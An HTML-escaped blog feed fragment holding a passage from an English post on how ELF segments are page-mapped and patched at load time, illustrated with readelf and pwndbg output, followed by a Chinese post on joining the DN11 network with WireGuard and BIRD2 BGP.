&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;seg03&lt;/code&gt; is page-aligned.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;seg03&lt;/code&gt; ranges &lt;code&gt;0x1000&lt;/code&gt; - &lt;code&gt;0x1191&lt;/code&gt;, within &lt;code&gt;0x1000&lt;/code&gt; - &lt;code&gt;0x2000&lt;/code&gt;; I only need to map &lt;strong&gt;1 file page&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;What I should do is to directly map the file page (&lt;code&gt;0x1000&lt;/code&gt; - &lt;code&gt;0x2000&lt;/code&gt;) into the memory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;And the third:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;seg04&lt;/code&gt; is page-aligned.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;seg04&lt;/code&gt; ranges &lt;code&gt;0x2000&lt;/code&gt; - &lt;code&gt;0x2114&lt;/code&gt;, within &lt;code&gt;0x2000&lt;/code&gt; - &lt;code&gt;0x3000&lt;/code&gt;; I only need to map &lt;strong&gt;1 file page&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;What I should do is to directly map the file page (&lt;code&gt;0x2000&lt;/code&gt; - &lt;code&gt;0x3000&lt;/code&gt;) into the memory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The tricky part is &lt;code&gt;seg05&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Its memory range in the file  (&lt;code&gt;0x2db8&lt;/code&gt; - &lt;code&gt;0x3010&lt;/code&gt;) is not page-aligned.&lt;/li&gt;
&lt;li&gt;Again, &lt;code&gt;mmap()&lt;/code&gt; can only map a file page whose offset equals a multiple of the page-size.&lt;/li&gt;
&lt;li&gt;So I decided first to map one file page the ranging &lt;code&gt;0x2000&lt;/code&gt; - &lt;code&gt;0x3000&lt;/code&gt; then the following file page ranging &lt;code&gt;0x3000&lt;/code&gt; - &lt;code&gt;0x4000&lt;/code&gt;, &lt;strong&gt;2 file pages&lt;/strong&gt; in total.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thus, here we are! The file page at offset &lt;code&gt;0x2000&lt;/code&gt; gets mapped twice, leaving the virtual memory from &lt;code&gt;0x2114&lt;/code&gt; to &lt;code&gt;0x3db8&lt;/code&gt; unused.&lt;/p&gt;
&lt;p&gt;Will it cause memory waste? No, these 2 pages (&lt;code&gt;0x2000&lt;/code&gt; - &lt;code&gt;0x4000&lt;/code&gt; in virtual memory) share the same physical memory by virtue of &lt;a href=&quot;https://en.wikipedia.org/wiki/Mmap#:~:text=In%20computing%2C%20mmap(2),no%20physical%20RAM%20at%20all.&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;demand paging&lt;/a&gt; implemented by &lt;code&gt;mmap()&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;side-note-1-why-cant-seg05-be-page-aligned&quot;&gt;Side note #1: Why can’t seg05 be page-aligned?&lt;/h2&gt;
&lt;p&gt;Scrolling back to the diagram of ELF file memory layout on disk, &lt;code&gt;seg05&lt;/code&gt; mainly contains two parts:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Offset: &lt;code&gt;0x2db8&lt;/code&gt; - &lt;code&gt;0x3000&lt;/code&gt;: &lt;code&gt;.init_array&lt;/code&gt; &lt;code&gt;.fini_array&lt;/code&gt; &lt;code&gt;.dynamic&lt;/code&gt; &lt;code&gt;.got&lt;/code&gt; with permission &lt;code&gt;R&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Offset: &lt;code&gt;0x3000&lt;/code&gt; - &lt;code&gt;0x3010&lt;/code&gt;: &lt;code&gt;.data&lt;/code&gt;, &lt;code&gt;.bss&lt;/code&gt; with permission &lt;code&gt;RW&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Obviously, these two parts require different permissions (&lt;code&gt;R&lt;/code&gt; vs &lt;code&gt;RW&lt;/code&gt;). Since each page can have only one permission setting, &lt;code&gt;seg05&lt;/code&gt; spans across two pages with different permission settings.&lt;/p&gt;
&lt;h2 id=&quot;side-note-2-why-do-filesiz-and-memsiz-of-seg05-differ&quot;&gt;Side note #2: Why do &lt;code&gt;FileSiz&lt;/code&gt; and &lt;code&gt;MemSiz&lt;/code&gt; of seg05 differ?&lt;/h2&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;FileSiz            MemSiz
0x0000000000000258 0x0000000000000260&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;When loaded, the size of &lt;code&gt;seg05&lt;/code&gt; got increased by 8 bytes. The uninitialized data section &lt;code&gt;.bss&lt;/code&gt; also has 8 bytes and it won’t take up any space in file until it gets loaded into memory:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;$ readelf -S test # examine the section headers
[Nr] Name      Type      Address              Offset             Size               EntSize            Flags Link Info Align
[25] .data     PROGBITS  0000000000004000     00003000           0000000000000010   0000000000000000   WA    0    0    8
[26] .bss      NOBITS	 0000000000004010     00003010           0000000000000008   0000000000000000   WA    0    0    1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;pwndbg&gt; x/24xb 0x555555558000
&amp;#x3C;.data&gt;:
0x555555558000: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x555555558008: 0x08    0x80    0x55    0x55    0x55    0x55    0x00    0x00
&amp;#x3C;.bss&gt;:
0x555555558010: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00 # initialized to zero&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;side-note-3-wtf-is-the-output-of-readelf&quot;&gt;Side note #3: WTF is the output of &lt;code&gt;readelf&lt;/code&gt;?&lt;/h2&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt; Section to Segment mapping:
  Segment Sections...
[ ... ]
   05(RW) .init_array .fini_array .dynamic .got .data .bss (p_type = PT_LOAD)
   06(RW) .dynamic (p_type = PT_DYNAMIC)
[ ... ]
   12(R)  .init_array .fini_array .dynamic .got (p_type = PT_GNU_RELRO)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Leaving the &lt;code&gt;seg06&lt;/code&gt; aside for now&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot; id=&quot;user-content-fnref-5&quot; aria-describedby=&quot;footnote-label&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;, why do the permission setting of &lt;code&gt;seg05&lt;/code&gt; and &lt;code&gt;seg12&lt;/code&gt; differ? Things may become clearer if we examine these sections one by one:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;.init_array:0000000000003DB8 __frame_dummy_init_array_entry dq offset frame_dummy
.fini_array:0000000000003DC0 __do_global_dtors_aux_fini_array_entry dq offset __do_global_dtors_aux&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;$ readelf -d test
Dynamic section at offset 0x2dc8 contains 27 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x000000000000000c (INIT)               0x1000
 0x000000000000000d (FINI)               0x1184
 0x0000000000000019 (INIT_ARRAY)         0x3db8
 0x000000000000001b (INIT_ARRAYSZ)       8 (bytes)
 0x000000000000001a (FINI_ARRAY)         0x3dc0
 0x000000000000001c (FINI_ARRAYSZ)       8 (bytes)
 0x000000006ffffef5 (GNU_HASH)           0x3b0
 0x0000000000000005 (STRTAB)             0x480
 0x0000000000000006 (SYMTAB)             0x3d8
 0x000000000000000a (STRSZ)              143 (bytes)
 0x000000000000000b (SYMENT)             24 (bytes)
 0x0000000000000015 (DEBUG)              0x0
 0x0000000000000003 (PLTGOT)             0x3fb8
 0x0000000000000002 (PLTRELSZ)           24 (bytes)
 0x0000000000000014 (PLTREL)             RELA
 0x0000000000000017 (JMPREL)             0x610
 0x0000000000000007 (RELA)               0x550
 0x0000000000000008 (RELASZ)             192 (bytes)
 0x0000000000000009 (RELAENT)            24 (bytes)
 0x000000000000001e (FLAGS)              BIND_NOW
 0x000000006ffffffb (FLAGS_1)            Flags: NOW PIE
 0x000000006ffffffe (VERNEED)            0x520
 0x000000006fffffff (VERNEEDNUM)         1
 0x000000006ffffff0 (VERSYM)             0x510
 0x000000006ffffff9 (RELACOUNT)          3
 0x0000000000000000 (NULL)               0x0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;.got:0000000000003FB8 dq offset _DYNAMIC
.got:0000000000003FC0 dq 0
.got:0000000000003FC8 dq 0
.got:0000000000003FD0 dq offset printf
.got:0000000000003FD8 dq offset __libc_start_main
.got:0000000000003FE0 dq offset _ITM_deregisterTMCloneTable
.got:0000000000003FE8 dq offset __gmon_start__
.got:0000000000003FF0 dq offset _ITM_registerTMCloneTable
.got:0000000000003FF8 dq offset __imp___cxa_finalize&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;All these sections have to be patched at load time.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.init_array&lt;/code&gt; and &lt;code&gt;.fini_array&lt;/code&gt; are arrays of function pointers, which are initially set to &lt;strong&gt;relative virtual addresses&lt;/strong&gt;; These functions will run before and after &lt;code&gt;main()&lt;/code&gt;. The &lt;strong&gt;absolute virtual addresses&lt;/strong&gt; will be resolved and replace the original addresses when loaded.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.dynamic&lt;/code&gt; section is the same as the two above. The relative address will be resolved and patched into absolute address.&lt;/li&gt;
&lt;li&gt;The program uses &lt;a href=&quot;https://stackoverflow.com/questions/31366236/lazy-loading-vs-eager-loading&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;eager binding&lt;/a&gt; instead of lazy binding, so the &lt;code&gt;.got&lt;/code&gt; section needs to be patched first and then restricted to &lt;code&gt;R&lt;/code&gt; permission by the &lt;strong&gt;dynamic linker&lt;/strong&gt; (&lt;code&gt;ld.so&lt;/code&gt;)&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot; id=&quot;user-content-fnref-4-2&quot; aria-describedby=&quot;footnote-label&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;, same as the other segments.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let’s do some examinations to verify:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;# .init_array and .fini_array
.init_array:0000000000003DB8 40 11 00 00 00 00 00 00                         __frame_dummy_init_array_entry dq offset frame_dummy
.fini_array:0000000000003DC0 00 11 00 00 00 00 00 00                         __do_global_dtors_aux_fini_array_entry dq offset __do_global_dtors_aux

pwndbg&gt; x/16b 0x0000000000003DB8 + 0x555555554000
0x555555557db8: 0x40    0x51    0x55    0x55    0x55    0x55    0x00    0x00
0x555555557dc0: 0x00    0x51    0x55    0x55    0x55    0x55    0x00    0x00

# .dynamic
LOAD:0000000000003E48 05 00 00 00 00 00 00 00 80 04 00 00 00 00 00 00                 Elf64_Dyn &amp;#x3C;5, 480h&gt;     ; DT_STRTAB
LOAD:0000000000003E58 06 00 00 00 00 00 00 00 D8 03 00 00 00 00 00 00                 Elf64_Dyn &amp;#x3C;6, 3D8h&gt;     ; DT_SYMTAB
pwndbg&gt; x/32b 0x0000000000003E48 + 0x555555554000
0x555555557e48: 0x05    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x555555557e50: 0x80    0x44    0x55    0x55    0x55    0x55    0x00    0x00
0x555555557e58: 0x06    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x555555557e60: 0xd8    0x43    0x55    0x55    0x55    0x55    0x00    0x00
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;These addresses actually get patched at load-time!&lt;/p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.zolutal.io/understanding-paging/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://blog.zolutal.io/understanding-paging&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/operating-systems/paging-in-operating-system&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://www.geeksforgeeks.org/operating-systems/paging-in-operating-system&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/c/structure-member-alignment-padding-and-data-packing/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://www.geeksforgeeks.org/c/structure-member-alignment-padding-and-data-packing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/x0nu11byt3/bcb35c3de461e5fb66173071a2379779&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://gist.github.com/x0nu11byt3/bcb35c3de461e5fb66173071a2379779&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/compilepeace/BINARY_DISSECTION_COURSE&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://github.com/compilepeace/BINARY_DISSECTION_COURSE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/10410785/where-should-the-bss-section-of-elf-file-take-in-memory&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://stackoverflow.com/questions/10410785/where-should-the-bss-section-of-elf-file-take-in-memory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.gabriel.urdhr.fr/2015/01/22/elf-linking/#dynamic-binary-mapping&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://www.gabriel.urdhr.fr/2015/01/22/elf-linking/#dynamic-binary-mapping&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/38857741/is-dynamic-linker-part-of-kernel-or-gcc-library-on-linux-systems&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://stackoverflow.com/questions/38857741/is-dynamic-linker-part-of-kernel-or-gcc-library-on-linux-systems&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://unix.stackexchange.com/questions/611733/what-is-the-linker-and-what-is-the-loader-in-dynamic-linking&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://unix.stackexchange.com/questions/611733/what-is-the-linker-and-what-is-the-loader-in-dynamic-linking&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;footnotes&quot;&gt;Footnotes&lt;/h2&gt;
&lt;section class=&quot;footnotes&quot;&gt;&lt;h2 class=&quot;sr-only&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-1&quot;&gt;
&lt;p&gt;Just copying and pasting the high-level C structure of program header (&lt;code&gt;Phdr&lt;/code&gt;) to explain how it’s embedded and hard-coded in the program—and what it contains—is not enough. Instead, compare the C structure (from &lt;code&gt;man elf&lt;/code&gt;), IDA view, and &lt;code&gt;readelf&lt;/code&gt; output provided in the article for clearer understanding. &lt;a href=&quot;#user-content-fnref-1&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-2&quot;&gt;
&lt;p&gt;The segments other than &lt;code&gt;PT_LOAD&lt;/code&gt; have an obvious overlap in sections (e.g., sections from &lt;code&gt;seg12&lt;/code&gt; (&lt;strong&gt;R&lt;/strong&gt;) are a subset of sections from &lt;code&gt;seg05&lt;/code&gt; (&lt;strong&gt;RW&lt;/strong&gt;)). These segments (or more accurately, the overlapped sections) will also get loaded. &lt;strong&gt;Additional note&lt;/strong&gt;: Overlapping types like PT_GNU_RELRO are &lt;em&gt;hints&lt;/em&gt; for the dynamic linker to post-process, so the loading sequence is that ELF loader of the kernel maps PT_LOAD, then user-space linker handles the rest. &lt;a href=&quot;#user-content-fnref-2&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2-2&quot; aria-label=&quot;Back to reference 2-2&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-4&quot;&gt;
&lt;p&gt;There are some differences between &lt;a href=&quot;https://lwn.net/Articles/631631/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;ELF loader&lt;/a&gt; and  &lt;a href=&quot;https://lwn.net/Articles/961117/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;dynamic linker&lt;/a&gt;. &lt;a href=&quot;#user-content-fnref-4&quot; aria-label=&quot;Back to reference 3&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4-2&quot; aria-label=&quot;Back to reference 3-2&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-3&quot;&gt;
&lt;p&gt;ELF loader uses &lt;code&gt;mmap()&lt;/code&gt; to load pages; it requires the base address of the file page it maps to be a multiple of the page size. &lt;a href=&quot;#user-content-fnref-3&quot; aria-label=&quot;Back to reference 4&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3-2&quot; aria-label=&quot;Back to reference 4-2&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-5&quot;&gt;
&lt;p&gt;Why is there a dedicated program header for &lt;code&gt;.dynamic&lt;/code&gt; ? From &lt;code&gt;readelf -d&lt;/code&gt; output,  the relative virtual addresses of &lt;code&gt;.init_array&lt;/code&gt;, &lt;code&gt;.fini_array&lt;/code&gt; and &lt;code&gt;.got&lt;/code&gt; are included; It acts as the “headquarters” or “container” for load-time writable sections’ addresses, so a dedicated header lets the linker efficiently locate &lt;code&gt;.dynamic&lt;/code&gt;’s virtual address via the program headers. &lt;a href=&quot;#user-content-fnref-5&quot; aria-label=&quot;Back to reference 5&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded><category>Learn</category></item><item><title>DN11接入笔记</title><link>https://sh10rl.top/posts/dn11/</link><guid isPermaLink="true">https://sh10rl.top/posts/dn11/</guid><description>拥有公网IP的服务器接入</description><pubDate>Mon, 07 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;有一台公网服务器接入DN11还是挺方便的, 主要用到的工具有两个:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wireguard.com/#:~:text=WireGuard%C2%AE%20is%20an,in%20the%20industry.&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Wireguard&lt;/a&gt; (创建安全隧道)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bird.network.cz/?get_doc&amp;#x26;v=20&amp;#x26;f=bird-1.html#ss1.1:~:text=BIRD%3A%20Well%2C%20we,the%20IPv6%20protocol&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Bird2&lt;/a&gt; (负责不同AS之间的路由)&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;前置知识&quot;&gt;前置知识&lt;/h2&gt;
&lt;p&gt;因特网 (Internet) 由很多独立的网络组成, 即&lt;a href=&quot;https://en.wikipedia.org/wiki/Autonomous_system_(Internet)&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;自治域 (AS)&lt;/a&gt;; 每个自治域由&lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_service_provider&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;ISP&lt;/a&gt;管理, 我们说的 “上网” 就是接入了ISP, 让ISP给你分配一个公网IP地址, 你的数据包从你的路由器 (这里指家庭路由器) 出发, 经过ISP的边界网关, 到达其他ISP的边界网关, 再到达目标ISP的边界网关, 最后传递到目标主机.&lt;/p&gt;
&lt;p&gt;BGP解决的是如何选择在不同AS之间跳跃的最优路径; 每个边界网关都存储了一个路由表, 边界网关会根据数据包的目的地址和路由表决定这个数据包的下一跳去哪个AS.&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250707125720842&quot; width=&quot;2047&quot; height=&quot;1261&quot; src=&quot;https://sh10rl.top/_astro/image-20250707125720842.iNNNRRQv_ZEE8Q9.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;DN11可以看成因特网的缩小版, 每个接入DN11的成员都需要有独立的ASN和网段, 二者是对应关系, 在&lt;a href=&quot;https://github.com/dn-11/registry&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;成员注册表&lt;/a&gt;统一管理. 比如我申请的网段和ASN分别为&lt;code&gt;172.16.47.0/24&lt;/code&gt;, &lt;code&gt;4220085757&lt;/code&gt;; 我在Wireguard创建的虚拟内网&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot; id=&quot;user-content-fnref-2&quot; aria-describedby=&quot;footnote-label&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;中就扮演了因特网里面的ISP, 拥有独立网段和ASN.&lt;/p&gt;
&lt;p&gt;可以看看DN11的&lt;a href=&quot;https://status.dn11.top/#/bgp/DN11&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;实时拓扑图&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;配置wireguard&quot;&gt;配置Wireguard&lt;/h2&gt;
&lt;p&gt;用来建立对等会话 (peer), 柏师傅的&lt;a href=&quot;https://github.com/dn-11/wg-quick-op&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;&lt;code&gt;wg-quick-op&lt;/code&gt;&lt;/a&gt;丰富了原版&lt;code&gt;wg-quick-go&lt;/code&gt;的功能, 先运行&lt;code&gt;wg-quick-op install&lt;/code&gt;, 然后到配置文件 (&lt;code&gt;/etc/wireguard.your_wg_interface_name.conf&lt;/code&gt;)进行虚拟网口和peer的配置, 如果配置没问题的话, 在运行&lt;code&gt;wg-quick-op up &amp;#x3C;interface name&gt;&lt;/code&gt;后, 脚本会自动帮你做以下几个事情:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;在你的系统内创建一个虚拟网口&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Wireguard开始监听&lt;code&gt;0.0.0.0:port&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;执行&lt;code&gt;PostUp&lt;/code&gt;指令, 分配我先前配置的地址&lt;code&gt;172.16.47.254&lt;/code&gt;给这个网口, 现在这个网口有了一个IP地址&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;与对端peer握手, 建立连接&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;完成之后, 应该就可以ping通对端IP&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot; id=&quot;user-content-fnref-1&quot; aria-describedby=&quot;footnote-label&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;了, 可以使用&lt;code&gt;ifconfig&lt;/code&gt;查看刚刚建立的虚拟网口:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;$ ifconfig
wg0: flags=209&amp;#x3C;UP,POINTOPOINT,RUNNING,NOARP&gt;  mtu 1420
        inet 172.16.47.254  netmask 255.255.255.255  destination 172.16.26.253
        [ ... ] skipping stuff

eth0: flags=4163&amp;#x3C;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500
        inet 172.17.24.224  netmask 255.255.192.0  broadcast 172.17.63.255
    	[ ... ] skipping stuff&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;配置bird2&quot;&gt;配置Bird2&lt;/h2&gt;
&lt;p&gt;DN11使用Bird2实现BGP, 按照柏师傅的wiki里面配置就好&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;birdc s p&lt;/code&gt;看到我的&lt;code&gt;wg0&lt;/code&gt;网口为&lt;code&gt;Established&lt;/code&gt;就代表已经接入DN11了:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;$ sudo birdc s p
BIRD 2.17.1 ready.
Name       Proto      Table      State  Since         Info
device1    Device     ---        up     2025-07-05
kernel1    Kernel     master4    up     2025-07-05
static1    Static     BGP_table  up     2025-07-06
pipe1      Pipe       ---        up     2025-07-06    master4 &amp;#x3C;=&gt; BGP_table
wg0        BGP        ---        up     2025-07-06    Established&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;探索&quot;&gt;探索&lt;/h2&gt;
&lt;p&gt;Wireguard为我们创建了一个虚拟局域网&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot; id=&quot;user-content-fnref-2-2&quot; aria-describedby=&quot;footnote-label&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; , Bird2运行在此之上:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;image-20250707152915129&quot; width=&quot;2803&quot; height=&quot;935&quot; src=&quot;https://sh10rl.top/_astro/image-20250707152915129.DeJU48rs_2uaTGN.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;数据包通过BGP在不同AS之间穿梭; 从不同AS之间的跳跃由边界网关负责, 我们可以用&lt;code&gt;traceroute &amp;#x3C;ip&gt;&lt;/code&gt;看看目的地为&lt;code&gt;172.16.4.1&lt;/code&gt;的数据包是怎么走的:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;$ traceroute 172.16.4.1
traceroute to 172.16.4.1 (172.16.4.1), 30 hops max, 60 byte packets
 1  172.16.26.253 (172.16.26.253)  30.135 ms  30.076 ms  30.055 ms
 2  10.255.1.1 (10.255.1.1)  36.032 ms  35.785 ms  35.997 ms
 3  172.16.4.66 (172.16.4.66)  43.596 ms  43.547 ms  43.528 ms
 4  172.16.4.1 (172.16.4.1)  55.591 ms  55.422 ms  55.605 ms&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;除了&lt;code&gt;172.16.4.1&lt;/code&gt;外, 经过的其他IP应该都是边界网关, 并且属于各自的AS. 经过的第一个IP: &lt;code&gt;172.16.26.253&lt;/code&gt; 就是我的peer, 同时也是网段&lt;code&gt;172.16.26.0/24&lt;/code&gt;的边界网关.&lt;/p&gt;
&lt;p&gt;现在有一个小问题: 我怎么知道要发送给&lt;code&gt;172.16.4.1&lt;/code&gt;的数据包下一跳到哪里?&lt;/p&gt;
&lt;p&gt;执行&lt;code&gt;birdc&lt;/code&gt;进入bird命令行界面, 使用&lt;code&gt;show route&lt;/code&gt;看看路由表, 有这么一行:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;Table master4:
[ ... ] skipping stuff
172.16.4.0/24        unicast [wg0 15:37:51.246] * (100) [AS4220084444i]
        via 172.16.26.253 on wg0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;即所有目的地IP在&lt;code&gt;172.16.4.0/24&lt;/code&gt;网段内的数据包都要通过&lt;code&gt;wg0&lt;/code&gt;网口发送, 到达另一个AS的边界网关&lt;code&gt;172.16.26.253&lt;/code&gt;, 由于我和对面都是单一的公网服务器, 所以边界网关应该就是服务器本身.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;footnotes&quot;&gt;Footnotes&lt;/h2&gt;
&lt;section class=&quot;footnotes&quot;&gt;&lt;h2 class=&quot;sr-only&quot; id=&quot;footnote-label&quot;&gt;Footnotes&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-2&quot;&gt;
&lt;p&gt;可能并不准确, LAN应该在数据链路层, 而Wireguard是操作在网络层的; 但从用户的角度来看, 概念上是合理的. &lt;a href=&quot;#user-content-fnref-2&quot; aria-label=&quot;Back to reference 1&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2-2&quot; aria-label=&quot;Back to reference 1-2&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;user-content-fn-1&quot;&gt;
&lt;p&gt;即&lt;code&gt;PostUp&lt;/code&gt;内的&lt;code&gt;&amp;#x3C;another tunnel IP&gt;&lt;/code&gt; &lt;a href=&quot;#user-content-fnref-1&quot; aria-label=&quot;Back to reference 2&quot; class=&quot;data-footnote-backref&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
